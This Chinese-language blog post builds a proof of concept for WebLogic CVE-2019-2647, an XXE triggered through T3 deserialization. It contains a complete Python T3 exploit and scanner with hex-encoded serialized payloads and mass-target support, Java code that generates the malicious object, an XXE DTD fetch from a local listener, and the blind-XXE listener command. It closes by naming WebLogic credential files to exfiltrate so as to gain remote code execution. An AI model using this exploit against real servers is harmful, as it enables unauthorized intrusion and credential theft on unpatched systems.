• # WebLogic CVE-2019-2647 反序列化XXE POC构造


    先看下漏洞分析,最后给出POC构造。

    本地监听1234端口
    python2 xxer.py --http=1234 --hostname=127
    .0.0.1 --dtd=1.dtd --ftp=2121
    

    通过T3协议发数据包:
    python2 exp.py -t 127.0.0.1 -p 7001

    #!/usr/bin/env python
    #coding:utf-8
    import socket
    import time
    import re
    import argparse
    from multiprocessing.dummy import Pool
    
    VUL=['CVE-2016-0638',
        'CVE-2016-3510',
        'CVE-2017-3248',
        'CVE-2018-2628',
        'CVE-2018-2893'
        ]
    PAYLOAD=['aced0005737200327765626c6f6769632e777365652e72656c696162696c6974792e5773726d5365727665725061796c6f6164436f6e7465787403849ed552b214ee0c00007872002c7765626c6f6769632e777365652e72656c696162696c6974792e5773726d5061796c6f6164436f6e7465787444144731d8d55e3b0c0000787077970003392e320000000000000000ffffffffffffffffffffffff000000763c3f786d6c2076657273696f6e3d22312e30223f3e0a3c21444f435459504520646174612053595354454d2022687474703a2f2f3132372e302e302e313a313233342f312e64746422205b3c21454c454d454e542064617461202823504344415441293e0a5d3e0a3c646174613e343c2f646174613e0000000078',
        '',
        '',
        '',
        '',
        ]
    VER_SIG=['weblogic.jms.common.StreamMessageImpl',
        'org.apache.commons.collections.functors.InvokerTransformer',
        '\$Proxy[0-9]+',
        '\$Proxy[0-9]+',
        'weblogic.jms.common.StreamMessageImpl'
        ]
    
    def t3handshake(sock,server_addr):
        sock.connect(server_addr)
        sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
        time.sleep(1)
        sock.recv(1024)
        print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))
    
    def buildT3RequestObject(dip,sock):
        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
        data3 = '1a7727000d3234322e323134'
        data4 = '2e312e32353461863d1d0000000078'
        for d in [data1,data2,data3,data4]:
            sock.send(d.decode('hex'))
        time.sleep(2)
        print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))
    
    def sendEvilObjData(sock,data):
        payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
        payload+=data
        payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
        payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
        sock.send(payload.decode('hex'))
        time.sleep(2)
        res='NO_DATA'
        try:
            res=sock.recv(4096)
        except socket.timeout:
            pass
        # print res.encode('hex')
        return res
    
    def checkVul(res,server_addr,index):
        p=re.findall(VER_SIG[index], res, re.S)
        if len(p)>0:
            print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
            return True
        else:
            print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
            return False
    
    def run(dip,dport,index):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
        sock.settimeout(60)
        server_addr = (dip, dport)
        t3handshake(sock,server_addr)
        buildT3RequestObject(dip,sock)
        rs=sendEvilObjData(sock,PAYLOAD[index])
        checkVul(rs,server_addr,index)
    
    def exp(target):
        dip,dport = target
        vuls = []
        for index in range(len(VUL)):
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
                sock.settimeout(60)
                server_addr = (dip, dport)
                t3handshake(sock,server_addr)
                buildT3RequestObject(dip,sock)
                rs=sendEvilObjData(sock,PAYLOAD[index])
                if checkVul(rs,server_addr,index):
                    vuls.append(VUL[index])
            except Exception as e:
                print('[-]{} fail:{}'.format(dip,str(e)))
        return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}
    
    def load_target_from_file(filename,port):
        iplist = []
        with open(filename) as f:
            for line in f:
                ip = line.strip()
                if len(ip)>0:
                    iplist.append((ip,port))
        return iplist
    
    def process_result(results):
        results_ok = []
        results_fail = []
        for r in results:
            if r['status'] == 'ok':
                results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
            else:
                results_fail.append(r['ip'])
        print('[+]vuls total:{}
    {}'.format(len(results_ok), '
    '.join(results_ok)))
    
    def main():
        parser = argparse.ArgumentParser(description='weblogic scanner')
        parser.add_argument('-f','--file',default=None,help='read target ip from file')
        parser.add_argument('-t','--target',default=None,help='target ip')
        parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')
    
        args = parser.parse_args()
        if not args.file is None:
            iplist = load_target_from_file(args.file,int(args.port))
            pool = Pool(10)
            results = pool.map(exp,iplist)
            pool.close()
            pool.join()
            process_result(results)
        elif not args.target is None:
            exp((args.target,int(args.port)))
        else:
            parser.print_help()
            print('You must set target ip or file!')
    
    if __name__=="__main__":
        main()
    

    在WsrmServerPayloadContext类的readExternal方法下断点,调用父类的readExternal,父类的方法只是标准化一些格式。这里略过。
    Alt text
    跟进readEndpt方法,漏洞触发点就在90行parse解析,var14就是传入的payload
    Alt text
    深入跟parse就跟这篇文章一样了XXE深入原理探究
    本地监听的1234端口收到请求1.dtd请求。
    Alt text
    POC如下,直接将发序列化对象转换成hex了:

    package weblogic;
    
    import weblogic.wsee.addressing.EndpointReference;
    import weblogic.wsee.reliability.WsrmServerPayloadContext;
    
    import java.io.IOException;
    import java.lang.reflect.Field;
    
    public class WeblogicXXE1 {
        public static void main(String[] args) throws IOException {
            Object instance = getXXEObject();
    //        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
    //        out.writeObject(instance);
    //        out.flush();
    //        out.close();
    
            java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
            //用于将对象转换成byte[]数组的ObjectOutputStream
            java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
            //将对象写入ByteArrayOutputStream
            oos.writeObject(instance);
            byte[] bytes = baos.toByteArray();
            bytesToHexString(bytes);
    //        System.out.println(bytes);
            //用于将将对象存入文件的ObjectOutputStream
            java.io.ObjectOutputStream oos2 = new java.io.ObjectOutputStream(new java.io.FileOutputStream("xxe"));
            //将对象写入string指定的文件中
            oos2.writeObject(instance);
            oos.close();
            oos2.close();
            baos.close();
        }
    
        public static String bytesToHexString(byte[] src) {
            StringBuilder stringBuilder = new StringBuilder("");
            if (src == null || src.length <= 0) {
                return null;
            }
            for (int i = 0; i < src.length; i++) {
                int v = src[i] & 0xFF;
                //将一个byte的二进制数转换成十六进制字符
                String hv = Integer.toHexString(v);
                //如果二进制数转换成十六进制数高位为0,则加入'0'字符
                if (hv.length() < 2) {
                    stringBuilder.append(0);
                }
                stringBuilder.append(hv);
            }
            System.out.println(stringBuilder.toString());
            return stringBuilder.toString();
        }
    
        public static Object getXXEObject() {
            EndpointReference fromEndpt = new EndpointReference();
    
            EndpointReference faultToEndpt = null;
            WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
            try {
    
                Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
                f1.setAccessible(true);
                f1.set(wspc, fromEndpt);
    
                Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
                f2.setAccessible(true);
                f2.set(wspc, faultToEndpt);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return wspc;
        }
    }
    

    重写WsrmServerPayloadContext类的writeEndpt方法

    private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {
            ByteArrayOutputStream var3 = new ByteArrayOutputStream();
            OutputFormat var4 = new OutputFormat("XML", (String)null, false);
            XMLSerializer var5 = new XMLSerializer(var3, var4);
    
            Document doc = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工厂中获得DOM解析器
                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //读入文档输入流
                InputStream is = new FileInputStream("F:\IDEA-project\weblogic\src\main\java\weblogic\test.xml");
                //创建文档树模型对象
                doc = dbBuilder.parse(is);
            } catch (Exception e) {
                e.printStackTrace();
            }
            var5.serialize(doc);
            byte[] var6 = var3.toByteArray();
            if (verbose) {
                Verbose.log("Writing Endpoint:");
    
                for(int var7 = 0; var7 < var6.length; ++var7) {
                    Verbose.getOut().print((char)var6[var7]);
                }
    
                Verbose.getOut().println();
            }
    
            var2.writeInt(var6.length);
            var2.write(var6);
        }
    

    test.xml内容如下

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data SYSTEM "http://127.0.0.1:1234/1.dtd" [
            <!ELEMENT data (#PCDATA)>
            ]>
    <data>4</data>
    

    在构造bind-xxe时,引参考文章的:my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):
    构造xxe POC有好多坑,自己走过才知道。dbBuilder.parse时会将POC将外部资源的解析一次,%dtd;%send;会被处理掉,所以需要16进制硬怼一次。详细细节参考下面的文章。
    CVE-2019 2647-2650 POC构造都是类似,其他不分析了。

    这俩个weblogic的关键文件无法读取,原因需要解决。如果这俩个文件内容读取到了,破解出用户名和密码相当于RCE了 /Users/kkuyo/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
    /Users/kkuyo/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

    参考链接如下:
    https://paper.seebug.org/906/

  • 相关阅读:
    Android实战技巧之六:PreferenceActivity使用详解
    Gradle for Android 第三篇( 依赖管理 )
    From 虚拟机模板 创建单节点K8S1.14.1的操作步骤
    Android实例剖析笔记(二)
    Android实例剖析笔记(一)
    Android 传感器
    Eclipse:引用一个项目作为类库(图文教程)
    Android Studio导入Project的方法
    Android Studio导入GitHub上的项目常见问题(有例子)
    AndroidStudio导入项目常见问题
  • 原文地址:https://www.cnblogs.com/afanti/p/10815996.html
Copyright © 2020-2023  润新知